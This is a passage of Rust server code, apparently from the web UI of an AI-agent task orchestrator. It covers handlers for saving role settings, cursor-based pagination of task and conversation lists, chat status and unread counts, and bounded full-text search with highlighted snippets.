5379    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5380    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5381    /// words (422) instead of as a deserialization error.
5382    #[serde(default)]
5383    counts: std::collections::BTreeMap<String, serde_json::Value>,
5384}
5385
5386/// `PUT /api/settings/roles` - save role assignments to the machine config.
5387///
5388/// The write target is `ui.machine_config` and nothing in the body can change
5389/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5390/// 422 with the reason in words.
5391async fn settings_put_roles(
5392    State(ui): State<Arc<Ui>>,
5393    Query(q): Query<SettingsQuery>,
5394    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5395) -> ApiResult<Json<settings::SettingsView>> {
5396    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5397    blocking(move || {
5398        let (repo, known) = settings_context(&ui, q)?;
5399        settings::save_with_repos(
5400            &repo,
5401            ui.machine_config.as_deref(),
5402            &body.revision,
5403            &body.roles,
5404            &body.counts,
5405            &known,
5406        )
5407        .map(Json)
5408        .map_err(|e| match e {
5409            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5410            settings::SaveError::Refused(m) => ApiError {
5411                text_reason: None,
5412                status: StatusCode::UNPROCESSABLE_ENTITY,
5413                message: m,
5414            },
5415            settings::SaveError::Internal(m) => ApiError::internal(m),
5416        })
5417    })
5418    .await
5419}
5420
5421async fn queue_list(
5422    State(ui): State<Arc<Ui>>,
5423    Query(q): Query<ListQuery>,
5424) -> ApiResult<Json<Vec<TaskView>>> {
5425    blocking(move || {
5426        let tasks = ui.queue.list();
5427        let inv =
5428            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5429        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5430        Ok(Json(
5431            tasks
5432                .into_iter()
5433                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5434                .map(|t| {
5435                    TaskView::with_inventory(t, &inv).with_admission(
5436                        &admission,
5437                        &ui.queue,
5438                        Some(&inv),
5439                        &ui.home,
5440                    )
5441                })
5442                .collect(),
5443        ))
5444    })
5445    .await
5446}
5447
5448/// History pages read a bounded number of records; the first conversation
5449/// page also includes every open talk. Cursors advance through a frozen snapshot,
5450/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5451/// Concurrent inserts are reconciled by a trailing store refresh.
5452#[derive(Debug, Default, Deserialize)]
5453struct PageQuery {
5454    before: Option<String>,
5455}
5456
5457#[derive(Serialize)]
5458struct StorePage<T> {
5459    rows: Vec<T>,
5460    next: Option<String>,
5461}
5462
5463const STORE_PAGE_SIZE: usize = 16;
5464
5465/// Freeze membership and the initial open/history boundary for a cursor walk.
5466/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5467/// the next store revision. Never rescan the entire directory for every page.
5468#[derive(Debug)]
5469struct ListWalk {
5470    token: u64,
5471    talks: bool,
5472    opened: std::time::Instant,
5473    ids: Arc<Vec<String>>,
5474    initial_end: usize,
5475}
5476
5477/// Read only the bounded goal header. Legacy layouts with goals after turns
5478/// are classified when their ordinary paginated row is loaded.
5479fn read_owner_goal(reader: impl std::io::Read) -> bool {
5480    use serde::de::{IgnoredAny, MapAccess, Visitor};
5481    struct Header<'a>(&'a mut bool);
5482    impl<'de> Visitor<'de> for Header<'_> {
5483        type Value = ();
5484        fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
5485            f.write_str("conversation goals")
5486        }
5487        fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<(), A::Error> {
5488            while let Some(key) = map.next_key::<String>()? {
5489                if key == "turns" {
5490                    return Err(serde::de::Error::custom("transcript boundary"));
5491                }
5492                if key == "goals" {
5493                    let goals: Vec<crate::chat_goal::Goal> = map.next_value()?;
5494                    *self.0 = crate::chat_status::Goals::of(&goals).owner > 0;
5495                    return Err(serde::de::Error::custom("goals read"));
5496                }
5497                map.next_value::<IgnoredAny>()?;
5498            }
5499            Ok(())
5500        }
5501    }
5502    let mut owner = false;
5503    let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
5504    let mut json = serde_json::Deserializer::from_reader(reader);
5505    let _ = serde::Deserializer::deserialize_map(&mut json, Header(&mut owner));
5506    owner
5507}
5508
5509fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5510    page_ids_with(ui, talks, q, |ui, ids| {
5511        // A conversation owing the owner a decision is listed with the open
5512        // ones even when closed, so the Needs owner filter never depends on
5513        // walking closed history.
5514        let mut open = open_talk_ids(ui, ids);
5515        let inventory = chat_inventory(ui);
5516        let owing = inventory.needs_owner();
5517        open.extend(ids.iter().filter(|id| owing.contains(id.as_str())).cloned());
5518        let mut goals = ui
5519            .monitor
5520            .closed_goal_index
5521            .lock()
5522            .unwrap_or_else(PoisonError::into_inner);
5523        let present: HashSet<_> = ids.iter().collect();
5524        goals.retain(|id, _| present.contains(id));
5525        for id in ids {
5526            if open.contains(id) {
5527                continue;
5528            }
5529            let path = ui.talks.path_of(id);
5530            let identity = goal_identity(&path).ok();
5531            let owner = if let Some((old, owner)) = goals.get(id)
5532                && identity.as_ref() == Some(old)
5533            {
5534                *owner
5535            } else {
5536                let owner = std::fs::File::open(&path).ok().is_some_and(read_owner_goal);
5537                if let Some(identity) = identity
5538                    && goal_identity(&path).is_ok_and(|after| after == identity)
5539                {
5540                    goals.insert(id.clone(), (identity, owner));
5541                }
5542                owner
5543            };
5544            if owner {
5545                open.insert(id.clone());
5546            }
5547        }
5548        open
5549    })
5550}
5551
5552fn page_ids_with(
5553    ui: &Ui,
5554    talks: bool,
5555    q: PageQuery,
5556    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5557) -> ApiResult<(Vec<String>, Option<String>)> {
5558    let mut walks = ui
5559        .monitor
5560        .list_walks
5561        .lock()
5562        .unwrap_or_else(PoisonError::into_inner);
5563    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5564    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5565        let (token, offset) = cursor
5566            .split_once(':')
5567            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5568        let token = token
5569            .parse::<u64>()
5570            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5571        let offset = offset
5572            .parse::<usize>()
5573            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5574        let walk = walks
5575            .iter()
5576            .find(|walk| walk.token == token && walk.talks == talks)
5577            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5578        (token, walk.ids.clone(), offset, walk.initial_end)
5579    } else {
5580        // Header I/O must not hold the snapshot registry shared with queue
5581        // pagination or with clients continuing an existing history walk.
5582        drop(walks);
5583        let root = if talks {
5584            ui.talks.root()
5585        } else {
5586            ui.queue.root()
5587        };
5588        let mut ids = crate::queue::record_ids(root, "json")?;
5589        ids.sort_unstable_by(|a, b| b.cmp(a));
5590        let initial_end = if talks {
5591            let open = classify(ui, &ids);
5592            // Stable partition: ID order is only the existing membership order,
5593            // never a substitute for the UI's creation-time ordering.
5594            ids.sort_by_key(|id| !open.contains(id));
5595            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5596        } else {
5597            STORE_PAGE_SIZE.min(ids.len())
5598        };
5599        let ids = Arc::new(ids);
5600        walks = ui
5601            .monitor
5602            .list_walks
5603            .lock()
5604            .unwrap_or_else(PoisonError::into_inner);
5605        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5606        let mut token = crate::rng::entropy();
5607        while walks.iter().any(|walk| walk.token == token) {
5608            token = crate::rng::entropy();
5609        }
5610        // Four clients can enumerate both stores and overlap a refresh. Bound
5611        // retained membership snapshots; an evicted cursor explicitly retries.
5612        if walks.len() >= 16 {
5613            walks.remove(0);
5614        }
5615        walks.push(ListWalk {
5616            token,
5617            talks,
5618            opened: std::time::Instant::now(),
5619            ids: ids.clone(),
5620            initial_end,
5621        });
5622        (token, ids, 0, initial_end)
5623    };
5624    if offset > ids.len() {
5625        return Err(ApiError::bad_request("Invalid list cursor"));
5626    }
5627    let end = if offset == 0 {
5628        initial_end
5629    } else {
5630        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5631    };
5632    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5633    Ok((ids[offset..end].to_vec(), next))
5634}
5635
5636async fn queue_page(
5637    State(ui): State<Arc<Ui>>,
5638    Query(q): Query<PageQuery>,
5639) -> ApiResult<Json<StorePage<TaskView>>> {
5640    blocking(move || {
5641        let (ids, next) = page_ids(&ui, false, q)?;
5642        let tasks: Vec<_> = ids
5643            .into_iter()
5644            .filter_map(|id| ui.queue.get(&id).ok())
5645            .collect();
5646        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5647        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5648        let rows = tasks
5649            .into_iter()
5650            .map(|task| {
5651                TaskView::with_inventory(task, &inv).with_admission(
5652                    &admission,
5653                    &ui.queue,
5654                    Some(&inv),
5655                    &ui.home,
5656                )
5657            })
5658            .collect();
5659        Ok(Json(StorePage { rows, next }))
5660    })
5661    .await
5662}
5663
5664/// Fixed-size wire projection. Agent timestamps stay in the server index so
5665/// exact unread counts do not require sending an ever-growing turn list.
5666#[derive(Debug, Clone, Serialize)]
5667struct TalkListView {
5668    title: Option<talk::ChatTitle>,
5669    id: String,
5670    repo: PathBuf,
5671    agent: String,
5672    status: talk::TalkStatus,
5673    turns: Vec<TalkListTurn>,
5674    turn_count: usize,
5675    unread_count: usize,
5676    context: talk::ContextUsage,
5677    #[serde(skip)]
5678    agent_times: Vec<Timestamp>,
5679    #[serde(skip)]
5680    goals: crate::chat_status::Goals,
5681    thinking: bool,
5682    /// Display-only triage state derived from durable evidence.
5683    chat_status: crate::chat_status::ChatStatus,
5684    created_at: Timestamp,
5685    updated_at: Timestamp,
5686}
5687
5688#[derive(Debug, Clone, Serialize)]
5689struct TalkListTurn {
5690    who: talk::Who,
5691    at: Timestamp,
5692    body: String,
5693}
5694
5695/// Shared status evidence. Keyed by the monitor's queue, question, decision and
5696/// loop revisions so a list read never re-parses the stores unless one moved;
5697/// without a published revision (before the first scan) it is built per call.
5698fn chat_inventory(ui: &Ui) -> Arc<crate::chat_status::Inventory> {
5699    let unreadable = ui
5700        .monitor
5701        .chat_sources_unreadable
5702        .load(std::sync::atomic::Ordering::Acquire);
5703    let key = ui
5704        .monitor
5705        .latest
5706        .lock()
5707        .unwrap_or_else(PoisonError::into_inner)
5708        .as_ref()
5709        .map(|(revisions, _)| *revisions);
5710    if !unreadable
5711        && let Some(key) = key
5712        && let Some((cached, inventory)) = ui
5713            .monitor
5714            .chat_inventory
5715            .lock()
5716            .unwrap_or_else(PoisonError::into_inner)
5717            .as_ref()
5718        && *cached == key
5719    {
5720        return Arc::clone(inventory);
5721    }
5722    let tasks = ui.queue.list();
5723    let questions = ui.questions.list();
5724    let mut inventory = crate::chat_status::Inventory::collect(&ui.home, &tasks, &questions);
5725    if unreadable
5726        || crate::queue::record_ids(ui.queue.root(), "json")
5727            .map_or(true, |ids| ids.len() > tasks.len())
5728        || crate::queue::record_ids(ui.questions.root(), "json")
5729            .map_or(true, |ids| ids.len() > questions.len())
5730    {
5731        inventory.mark_unreadable();
5732    }
5733    let inventory = Arc::new(inventory);
5734    if !unreadable && let Some(key) = key {
5735        *ui.monitor
5736            .chat_inventory
5737            .lock()
5738            .unwrap_or_else(PoisonError::into_inner) = Some((key, Arc::clone(&inventory)));
5739    }
5740    inventory
5741}
5742
5743fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5744    let reads: HashMap<String, Timestamp> = headers
5745        .get("x-talk-reads")
5746        .and_then(|v| v.to_str().ok())
5747        .and_then(|v| serde_json::from_str(v).ok())
5748        .unwrap_or_default();
5749    let inventory = chat_inventory(ui);
5750    let mut index = ui
5751        .monitor
5752        .talk_index
5753        .lock()
5754        .unwrap_or_else(PoisonError::into_inner);
5755    // Bound memory independently of the number of conversations ever opened.
5756    if index.len() > 1000 {
5757        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5758        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5759        if index.len() > 1000 {
5760            index.retain(|id, _| keep.contains(id.as_str()));
5761        }
5762    }
5763    ids.into_iter()
5764        .filter_map(|id| {
5765            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5766            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5767                let talk = ui.talks.get(&id).ok()?;
5768                #[cfg(test)]
5769                ui.monitor
5770                    .talk_parses
5771                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5772                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5773                let last = talk.turns.len().checked_sub(1);
5774                let turns = talk
5775                    .turns
5776                    .iter()
5777                    .enumerate()
5778                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5779                    .map(|(_, t)| TalkListTurn {
5780                        who: t.who,
5781                        at: t.at,
5782                        body: t
5783                            .body
5784                            .lines()
5785                            .next()
5786                            .unwrap_or_default()
5787                            .chars()
5788                            .take(240)
5789                            .collect(),
5790                    })
5791                    .collect();
5792                let row = TalkListView {
5793                    title: talk.title.clone(),
5794                    agent_times: talk
5795                        .turns
5796                        .iter()
5797                        .filter(|t| t.who == talk::Who::Agent)
5798                        .map(|t| t.at)
5799                        .collect(),
5800                    turn_count: talk.turns.len(),
5801                    goals: crate::chat_status::Goals::of(&talk.goals),
5802                    chat_status: crate::chat_status::ChatStatus::placeholder(),
5803                    unread_count: 0,
5804                    context: talk::context_usage(&talk, None),
5805                    turns,
5806                    thinking: false,
5807                    id: talk.id,
5808                    repo: talk.repo,
5809                    agent: talk.agent,
5810                    status: talk.status,
5811                    created_at: talk.created_at,
5812                    updated_at: talk.updated_at,
5813                };
5814                index.insert(id.clone(), (identity, row));
5815            }
5816            let row = &index.get(&id)?.1;
5817            let mut row = TalkListView {
5818                title: row.title.clone(),
5819                unread_count: row
5820                    .agent_times
5821                    .iter()
5822                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5823                    .count(),
5824                agent_times: Vec::new(),
5825                goals: row.goals,
5826                chat_status: row.chat_status.clone(),
5827                id: row.id.clone(),
5828                repo: row.repo.clone(),
5829                agent: row.agent.clone(),
5830                status: row.status,
5831                context: row.context.clone(),
5832                turns: row.turns.clone(),
5833                turn_count: row.turn_count,
5834                thinking: false,
5835                created_at: row.created_at,
5836                updated_at: row.updated_at,
5837            };
5838            let turn_held = ui.talks.turn_held(&id);
5839            row.thinking = turn_held || inventory.busy(&id);
5840            row.chat_status = inventory.status_of(&id, row.status.open(), row.goals, turn_held);
5841            Some(row)
5842        })
5843        .collect()
5844}
5845
5846async fn talks_page(
5847    State(ui): State<Arc<Ui>>,
5848    Query(q): Query<PageQuery>,
5849    headers: header::HeaderMap,
5850) -> ApiResult<Json<StorePage<TalkListView>>> {
5851    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5852        let (ids, next) = page_ids(&ui, true, q)?;
5853        Ok(Json(StorePage {
5854            rows: talk_rows(&ui, ids, &headers),
5855            next,
5856        }))
5857    })
5858    .await
5859}
5860
5861async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5862    blocking(move || {
5863        let tasks = ui.indexed_tasks()?;
5864        Ok(Json(TaskCountsView::from(
5865            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5866        )))
5867    })
5868    .await
5869}
5870
5871/// Most hits one search returns. The rest are counted in `total`.
5872const SEARCH_MAX_HITS: usize = 100;
5873/// Longest query, in characters, and most terms it is split into.
5874const SEARCH_MAX_QUERY: usize = 200;
5875const SEARCH_MAX_TERMS: usize = 8;
5876/// Characters of context kept before the first hit, and after it.
5877const SNIPPET_BEFORE: usize = 50;
5878const SNIPPET_AFTER: usize = 110;
5879
5880/// `?scope=runs|tasks&q=...`
5881#[derive(Debug, Deserialize)]
5882struct SearchQuery {
5883    #[serde(default)]
5884    scope: String,
5885    #[serde(default)]
5886    q: String,
5887}
5888
5889/// One piece of a snippet. `hit` pieces are what matched; the client renders
5890/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5891#[derive(Debug, Serialize, PartialEq, Eq)]
5892struct SnippetPart {
5893    text: String,
5894    hit: bool,
5895}
5896
5897/// Position plus transcript evidence, without changing the saved chat schema.
5898#[derive(Debug, Serialize)]
5899struct ChatSearchTarget {
5900    turn: usize,
5901    message: usize,
5902    at: String,
5903    text: String,
5904}
5905
5906fn chat_text_key(body: &str) -> String {
5907    let hash = body.chars().fold(2166136261_u32, |hash, c| {
5908        (hash ^ u32::from(c)).wrapping_mul(16777619)
5909    });
5910    format!("{hash:08x}:{}", body.chars().count())
5911}
5912
5913#[derive(Debug, Serialize)]
5914struct SearchHit {
5915    #[serde(skip_serializing_if = "Option::is_none")]
5916    target: Option<ChatSearchTarget>,
5917    id: String,
5918    /// The name of the field the snippet was cut from.
5919    field: String,
5920    snippet: Vec<SnippetPart>,
5921    /// The run's list row, so the page can apply its state / section / repo
5922    /// filters to a hit outside the loaded window. Absent for tasks and for a
5923    /// run record the list view cannot read.
5924    #[serde(skip_serializing_if = "Option::is_none")]
5925    run: Option<RunSummary>,
5926}
5927
5928#[derive(Debug, Serialize)]
5929struct SearchView {
5930    scope: String,
5931    q: String,
5932    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5933    hits: Vec<SearchHit>,
5934    /// Every match, hits beyond the cap included.
5935    total: usize,
5936    truncated: bool,
5937    /// Runs whose `run.json` could not be parsed at all. They were not
5938    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5939    unreadable: usize,
5940}
5941
5942/// The text leaves of a JSON document, with the name of the field each sits
5943/// under. Keys and numbers are skipped: they are structure, not prose.
5944fn text_leaves<'a>(
5945    value: &'a serde_json::Value,
5946    field: &'a str,
5947    out: &mut Vec<(&'a str, &'a str)>,
5948) {
5949    match value {
5950        serde_json::Value::String(s) => out.push((field, s)),
5951        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5952        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5953        _ => {}
5954    }
5955}
5956
5957/// Lower-case one character without changing how many there are, so indices
5958/// in the lowered text are indices in the original.
5959fn fold_char(c: char) -> char {
5960    c.to_lowercase().next().unwrap_or(c)
5961}
5962
5963/// Split a query into its lower-cased terms.
5964fn search_terms(q: &str) -> Vec<String> {
5965    let mut terms: Vec<String> = Vec::new();
5966    for t in q.split_whitespace() {
5967        let t = t.to_lowercase();
5968        if !terms.contains(&t) {
5969            terms.push(t);
5970        }
5971    }
5972    terms
5973}
5974
5975/// Match `terms` (all of them, anywhere in the document) against the leaves
5976/// and cut a snippet around the first hit. `None` when a term is missing.
5977fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5978    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5979    let mut first: Option<usize> = None;
5980    for term in terms {
5981        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5982        first = Some(first.map_or(at, |f| f.min(at)));
5983    }
5984    // The leaf holding the earliest hit of any term is where the snippet is cut.
5985    let (field, text) = leaves[first?];
5986    Some(SearchHit {
5987        id: String::new(),
5988        target: None,
5989        field: field.to_owned(),
5990        snippet: snippet_of(text, terms),
5991        run: None,
5992    })
5993}
5994
5995/// A window of `text` around the first occurrence of any term, whitespace
5996/// collapsed, with every term occurrence inside the window marked.
5997fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5998    let chars: Vec<char> = text.chars().collect();
5999    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
6000    let needles: Vec<Vec<char>> = terms
6001        .iter()
6002        .map(|t| t.chars().map(fold_char).collect())
6003        .collect();
6004    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
6005        let mut best: Option<(usize, usize)> = None;
6006        for n in needles.iter().filter(|n| !n.is_empty()) {
6007            // `to` bounds where a match may start; it may run past `to` (the
6008            // caller clips what it shows). A term longer than the field cannot
6009            // occur in it (it may live in another leaf of the document).
6010            if n.len() > chars.len() || to == 0 {
6011                continue;
6012            }
6013            let last = (to - 1).min(chars.len() - n.len());
6014            if from > last {
6015                continue;
6016            }
6017            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
6018                && best.is_none_or(|(b, _)| i < b)
6019            {
6020                best = Some((i, i + n.len()));
6021            }
6022        }
6023        best
6024    };
6025    let Some((start, _)) = find(0, chars.len()) else {
6026        // Matched only through a case mapping that changes length: show the head.
6027        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
6028        return vec![SnippetPart {
6029            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
6030            hit: false,
6031        }];
6032    };
6033    let lo = start.saturating_sub(SNIPPET_BEFORE);
6034    let hi = (start + SNIPPET_AFTER).min(chars.len());
6035    let mut parts: Vec<SnippetPart> = Vec::new();
6036    let mut push = |s: &[char], hit: bool| {
6037        if s.is_empty() {
6038            return;
6039        }
6040        let text: String = s.iter().collect();
6041        match parts.last_mut() {
6042            Some(p) if p.hit == hit => p.text.push_str(&text),
6043            _ => parts.push(SnippetPart { text, hit }),
6044        }
6045    };
6046    if lo > 0 {
6047        push(&['\u{2026}'], false);
6048    }
6049    let mut at = lo;
6050    while at < hi {
6051        match find(at, hi) {
6052            Some((s, e)) => {
6053                push(&chars[at..s], false);
6054                // A match running past the window is shown up to its edge.
6055                let shown = e.min(hi);
6056                push(&chars[s..shown], true);
6057                at = shown;
6058            }
6059            None => {
6060                push(&chars[at..hi], false);
6061                at = hi;
6062            }
6063        }
6064    }
6065    if hi < chars.len() {
6066        push(&['\u{2026}'], false);
6067    }
6068    // Collapse whitespace (newlines in an instruction) without disturbing the
6069    // hit boundaries.
6070    let mut prev_space = false;
6071    for p in &mut parts {
6072        let mut out = String::with_capacity(p.text.len());
6073        for c in p.text.chars() {
6074            if c.is_whitespace() {
6075                if !prev_space {
6076                    out.push(' ');
6077                }
6078                prev_space = true;
6079            } else {
6080                out.push(c);
6081                prev_space = false;
6082            }
6083        }
6084        p.text = out;
6085    }
6086    parts.retain(|p| !p.text.is_empty());
6087    parts
6088}
6089
6090/// The search over `docs` (id, document), newest first, capped.
6091fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
6092where
6093    I: IntoIterator<Item = (String, serde_json::Value)>,
6094{
6095    for (id, doc) in docs {
6096        let mut leaves = Vec::new();
6097        // The id is text an operator types too, and it is a map key on disk,
6098        // not a leaf.
6099        leaves.push(("id", id.as_str()));
6100        text_leaves(&doc, "", &mut leaves);
6101        if let Some(mut hit) = search_document(terms, &leaves) {
6102            view.total += 1;
6103            if view.hits.len() < SEARCH_MAX_HITS {
6104                hit.id = id;
6105                view.hits.push(hit);
6106            }
6107        }
6108    }
6109    view.truncated = view.total > view.hits.len();
6110}
6111
6112/// What a conversation is searched by: its list title and each turn's text,
6113/// under their sender labels so the snippet says who spoke. Nothing else
6114/// (session ids, repo paths, usage, drafts) is part of the document.
6115///
6116/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
6117fn talk_search_doc(talk: &Talk) -> serde_json::Value {
6118    let opener = talk
6119        .title
6120        .as_ref()
6121        .filter(|t| !t.text.is_empty())
6122        .map(|t| t.text.as_str())
6123        .or_else(|| {
6124            talk.turns
6125                .iter()
6126                .find(|t| t.who == talk::Who::Operator)
6127                .map(|t| t.body.as_str())
6128        })
6129        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
6130        .unwrap_or("");
6131    let title: String = if opener.chars().count() > 96 {
6132        opener.chars().take(95).chain(['\u{2026}']).collect()
6133    } else {
6134        opener.to_owned()
6135    };
6136    let turns: Vec<serde_json::Value> = talk
6137        .turns
6138        .iter()
6139        .flat_map(|t| {
6140            let label = |message| match talk::sender(t, message) {
6141                talk::Sender::External => "external",
6142                _ => match t.who {
6143                    talk::Who::Operator => "operator",
6144                    talk::Who::Agent => "agent",
6145                },
6146            };
6147            if t.messages.is_empty() {
6148                vec![serde_json::json!({ label(None): t.body })]
6149            } else {
6150                t.messages
6151                    .iter()
6152                    .map(|m| serde_json::json!({ label(Some(m)): m.body }))
6153                    .collect()
6154            }
6155        })
6156        .collect();
6157    serde_json::json!({ "title": title, "turns": turns })
6158}
6159
6160fn search_chat(terms: &[String], talk: &Talk) -> Option<SearchHit> {
6161    let doc = talk_search_doc(talk);
6162    let mut leaves = vec![("id", talk.id.as_str())];
6163    text_leaves(&doc, "", &mut leaves);
6164    let mut hit = search_document(terms, &leaves)?;
6165    // Use exactly the leaf that supplied the snippet, including title/id hits.
6166    let leaf = leaves
6167        .iter()
6168        .position(|(_, text)| terms.iter().any(|term| text.to_lowercase().contains(term)))?;
6169    let messages: Vec<_> = talk
6170        .turns
6171        .iter()
6172        .enumerate()
6173        .flat_map(|(i, turn)| {
6174            let bodies: Vec<&str> = if turn.messages.is_empty() {
6175                vec![turn.body.as_str()]
6176            } else {
6177                turn.messages.iter().map(|m| m.body.as_str()).collect()
6178            };
6179            bodies
6180                .into_iter()
6181                .enumerate()
6182                .map(move |(j, body)| (i, j, turn, body))
6183        })
6184        .collect();
6185    let target = leaf
6186        .checked_sub(2)
6187        .and_then(|i| messages.get(i))
6188        .or_else(|| {
6189            // An unsaved title is the opener's first nonempty line, so its
6190            // snippet still identifies a transcript message. Saved titles do not.
6191            if leaf != 1 || talk.title.as_ref().is_some_and(|t| !t.text.is_empty()) {
6192                return None;
6193            }
6194            let (index, opener) = talk
6195                .turns
6196                .iter()
6197                .enumerate()
6198                .find(|(_, turn)| turn.who == talk::Who::Operator)?;
6199            let line = opener
6200                .body
6201                .lines()
6202                .map(str::trim)
6203                .find(|line| !line.is_empty())?;
6204            messages.iter().find(|(i, _, _, body)| {
6205                *i == index
6206                    && body.lines().map(str::trim).find(|line| !line.is_empty()) == Some(line)
6207            })
6208        });
6209    if let Some((i, j, turn, body)) = target {
6210        hit.target = Some(ChatSearchTarget {
6211            turn: *i,
6212            message: *j,
6213            at: turn.at.to_string(),
6214            text: chat_text_key(body),
6215        });
6216    }
6217    hit.id = talk.id.clone();
6218    Some(hit)
6219}
6220
6221/// Read-only full-text search over every run's `run.json`, every task or every
6222/// conversation (title and transcript).
6223///
6224/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
6225/// record from an older schema still searches; only a file that is not JSON
6226/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
6227async fn search_get(
6228    State(ui): State<Arc<Ui>>,
6229    Query(q): Query<SearchQuery>,
6230) -> ApiResult<Json<SearchView>> {
6231    let query = q.q.trim().to_owned();
6232    if query.is_empty() {
6233        return Err(ApiError::bad_request("q must not be empty"));
6234    }
6235    if query.chars().count() > SEARCH_MAX_QUERY {
6236        return Err(ApiError::bad_request(format!(
6237            "q is longer than {SEARCH_MAX_QUERY} characters"
6238        )));
6239    }
6240    let terms = search_terms(&query);
6241    if terms.len() > SEARCH_MAX_TERMS {
6242        return Err(ApiError::bad_request(format!(
6243            "q has more than {SEARCH_MAX_TERMS} terms"
6244        )));
6245    }
6246    let scope = q.scope;
6247    if scope != "runs" && scope != "tasks" && scope != "chats" {
6248        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
6249    }
6250    blocking(move || {
6251        let mut view = SearchView {
6252            scope: scope.clone(),
6253            q: query,
6254            hits: Vec::new(),
6255            total: 0,
6256            truncated: false,
6257            unreadable: 0,
6258        };
6259        if scope == "runs" {
6260            let mut unreadable = 0;
6261            // One run.json is read, matched and dropped at a time; nothing
6262            // holds the whole history. The scan runs to the end even past the
6263            // hit cap so `total` and `unreadable` stay exact.
6264            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
6265                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
6266                match body.and_then(|b| serde_json::from_str(&b).ok()) {
6267                    Some(v) => Some((id, v)),
6268                    None => {
6269                        unreadable += 1;
6270                        None
6271                    }
6272                }
6273            });
6274            search_docs(&terms, docs, &mut view);
6275            view.unreadable = unreadable;
6276            // Only the capped hits get a row: the filters need a run's state,
6277            // and reading every match would be the whole history again.
6278            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
6279            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6280            for hit in &mut view.hits {
6281                if let Ok(state) = read_run(&ui.runs, &hit.id) {
6282                    hit.run = summarize(
6283                        [state],
6284                        &open_runs,
6285                        &claimed,
6286                        &superseded,
6287                        |p| probe.borrow_mut().status(p),
6288                        |p| probe.borrow_mut().started_at(p),
6289                    )
6290                    .pop();
6291                }
6292            }
6293        } else if scope == "chats" {
6294            let (talks, unreadable) = ui.talks.list_counting_unreadable();
6295            view.unreadable = unreadable;
6296            for talk in &talks {
6297                if let Some(hit) = search_chat(&terms, talk) {
6298                    view.total += 1;
6299                    if view.hits.len() < SEARCH_MAX_HITS {
6300                        view.hits.push(hit);
6301                    }
6302                }
6303            }
6304            view.truncated = view.total > view.hits.len();
6305        } else {
6306            let docs = ui.queue.list().into_iter().filter_map(|t| {
6307                let mut v = serde_json::to_value(&t).ok()?;
6308                // `source` serialises as a tagged object; the label is what
6309                // the operator reads ("human", "chat@a1b2").
6310                if let Some(o) = v.as_object_mut() {
6311                    o.insert("filed_by".to_owned(), t.source_label().into());
6312                }
6313                Some((t.id, v))
6314            });
6315            search_docs(&terms, docs, &mut view);
6316        }
6317        Ok(Json(view))
